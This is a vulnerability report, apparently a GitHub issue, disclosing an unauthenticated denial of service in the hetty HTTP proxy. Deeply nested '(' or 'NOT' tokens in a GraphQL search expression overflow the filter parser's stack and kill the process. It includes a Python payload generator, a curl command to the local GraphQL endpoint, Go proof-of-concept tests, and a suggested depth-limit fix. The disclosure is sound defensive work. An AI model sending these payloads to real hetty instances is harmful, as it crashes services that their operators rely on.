#153·hetty

Unauthenticated remote DoS: a single GraphQL search expression crashes the whole process (filter parser stack overflow)

Author: MrEchoFiCreated Jun 14, 2026Updated Jun 14, 2026

Title

Unauthenticated remote DoS: a single GraphQL search expression crashes the whole process (filter parser stack overflow)

Summary

The filter query parser (pkg/filter) is a recursive-descent parser with no recursion-depth limit. Deeply nested input causes it to recurse until the goroutine stack is exhausted. In Go a stack overflow is a fatal, unrecoverable runtime error — it cannot be caught by recover(), and therefore gqlgen's panic-recovery middleware cannot contain it either. The result is that the entire hetty process crashes: proxy, admin API, and all in-flight intercepted requests.

filter.ParseQuery is reachable from the unauthenticated GraphQL API via search/filter fields:

  • setHttpRequestLogFilter(filter: { searchExpression })
  • setSenderRequestFilter(filter: { searchExpression })
  • updateInterceptSettings(input: { requestFilter / responseFilter })

The parse happens before the "no active project" check, so no project, no setup, and no authentication are required to trigger the crash.

Severity

Critical — remote, unauthenticated, full process termination.

Affected code

  • pkg/filter/parser.goparseExpression / parseGroupedExpression / parsePrefixExpression recurse with no depth bound.
  • Reachable from pkg/api/resolvers.go (findRequestsFilterFromInput, findSenderRequestsFilterFromInput, UpdateInterceptSettings), all calling filter.ParseQuery.

Steps to reproduce

  1. Start Hetty normally (hetty, default listen :8080).

  2. Build a GraphQL mutation whose searchExpression is ~400k ( characters:

    bash
    python3 - <<'PY' > /tmp/payload.json
    import json
    q = "mutation($f:String!){setHttpRequestLogFilter(filter:{searchExpression:$f}){searchExpression}}"
    print(json.dumps({"query": q, "variables": {"f": "(" * 400000}}))
    PY
  3. Send it to the admin GraphQL endpoint:

    bash
    curl -s http://localhost:8080/api/graphql/ \
      -H 'Content-Type: application/json' \
      --data @/tmp/payload.json

Expected behavior

The malformed/oversized expression is rejected with a normal GraphQL error; the server keeps running.

Actual behavior

The hetty process aborts. Its log shows:

runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

goroutine ... [running]:
github.com/dstotijn/hetty/pkg/filter.parseGroupedExpression(...)
	pkg/filter/parser.go
github.com/dstotijn/hetty/pkg/filter.(*Parser).parseExpression(...)
	pkg/filter/parser.go
github.com/dstotijn/hetty/pkg/filter.parseGroupedExpression(...)
	... (repeats) ...

The same crash occurs with searchExpression set to many repeated NOT tokens (e.g. "NOT " * 400000).

Minimal Go reproducer (no server needed)

go
package filter

import (
	"strings"
	"testing"
)

func TestStackOverflowPoC(t *testing.T) {
	// Aborts the test binary with "fatal error: stack overflow"
	// on unpatched code. recover() does NOT catch it.
	_, _ = ParseQuery(strings.Repeat("(", 1_000_000))
}

OR

go
git checkout main

cat > pkg/filter/poc_test.go <<'EOF'
package filter

import (
	"strings"
	"testing"
)

func TestStackOverflowPoC(t *testing.T) {
	// recover() is here to PROVE it cannot catch a stack overflow:
	// the process dies anyway.
	defer func() {
		if r := recover(); r != nil {
			t.Log("recovered (won't happen for stack overflow):", r)
		}
	}()
	ParseQuery(strings.Repeat("(", 2_000_000))
	t.Log("no crash")
}
EOF

go test ./pkg/filter/ -run TestStackOverflowPoC

Expected output:

fatal error: stack overflow 

a repeating parseGroupedExpression → parseExpression trace, exit status 2 — and the recovered log never prints. That's the whole vulnerability, demonstrated cleanly.

Root cause

parseExpression is the single recursion point; it is re-entered for every nested group (() and every prefix operator (NOT). There is no limit on how deep this can go, so attacker-controlled nesting depth maps directly to stack growth until the runtime aborts the process.

Suggested fix

Bound the parser's recursion depth (e.g. a maxParseDepth counter checked at the top of parseExpression) and return an error once exceeded. Legitimate, human-written search queries nest only a few levels deep, so a generous limit (e.g. 256) is safe.

Related issue (same entry point)

Malformed filter queries also leak a goroutine each: NewLexer starts a goroutine that emits tokens on an unbuffered channel, and when ParseQuery returns early on a parse error it stops reading, leaving that goroutine blocked forever. Repeated malformed queries cause gradual goroutine/memory exhaustion. I'm fixing both issues together in a PR.

I have a fix with regression tests ready and will open a PR referencing this issue.